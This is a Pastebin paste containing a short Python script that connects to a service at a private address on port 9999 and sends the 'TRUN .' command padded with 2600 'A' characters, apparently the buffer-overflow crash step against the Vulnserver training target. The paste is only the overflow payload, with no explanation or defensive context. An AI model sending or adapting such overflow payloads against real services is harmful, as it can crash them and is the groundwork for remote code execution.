Advertisement
Guest User

Untitled

a guest
Apr 23rd, 2019
101
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.19 KB | None | 0 0
  1. import socket
  2.  
  3. sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  4. connection = sock.connect(("192.168.2.3", 9999))
  5.  
  6. sock.recv(1024)
  7.  
  8. sock.send("TRUN ." + ("A" * 2600))
  9.  
  10. sock.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement